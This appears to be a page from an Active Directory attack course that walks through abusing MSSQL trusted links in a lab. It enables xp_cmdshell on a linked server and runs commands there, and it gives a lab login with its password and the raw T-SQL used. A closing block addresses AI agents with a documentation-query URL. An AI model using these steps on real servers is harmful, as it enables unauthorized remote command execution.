# MSSQL trusted links

* Another SQL abuse we could try on the lab, is the usage of mssql trusted links.

> Note that trusted link is also a forest to forest technique

* To abuse the links let’s connect with elena.lopez and use enum\_links

```
mssqlclient.py -windows-auth north.newyork.local/elena.lopez:princesa1@yonkers.north.newyork.local -show
```

```
enum_links
```

* This play the following queries :

```
EXEC sp_linkedservers
EXEC sp_helplinkedsrvlogin
```

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2FirIlOkV8k9oXMtH8vvM7%2Fimage.png?alt=media&#x26;token=8c24ea9d-8977-4567-84f4-9018bee9900f" alt=""><figcaption></figcaption></figure>

* As we can see a linked server exist with the name Salisbury  and a mapping exist with the user Elena.Lopez and sa on Salisbury.
* If we use the link we can get a command injection on Salisbury:

```
use_link Salisbury
enable_xp_cmdshell
xp_cmdshell whoami
```

* This play the following MSSQL commands :

```
EXEC ('select system_user as "username"') AT Salisbury
EXEC ('exec master.dbo.sp_configure ''show advanced options'',1;RECONFIGURE;exec master.dbo.sp_configure ''xp_cmdshell'', 1;RECONFIGURE;') AT Salisbury
EXEC ('exec master..xp_cmdshell ''whoami''') AT Salisbury
```

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2FWuVKuBDqtLS5hYte8une%2Fimage.png?alt=media&#x26;token=489a3c09-23d1-4b5d-affe-96bcb9feae62" alt=""><figcaption></figcaption></figure>

* We got a command injection on Salisbury.Maryland.local as maryland\sql\_svc\\


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://watchdogsacademy.gitbook.io/attacking-active-directory/mssql-servers-exploitation/mssql-trusted-links.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
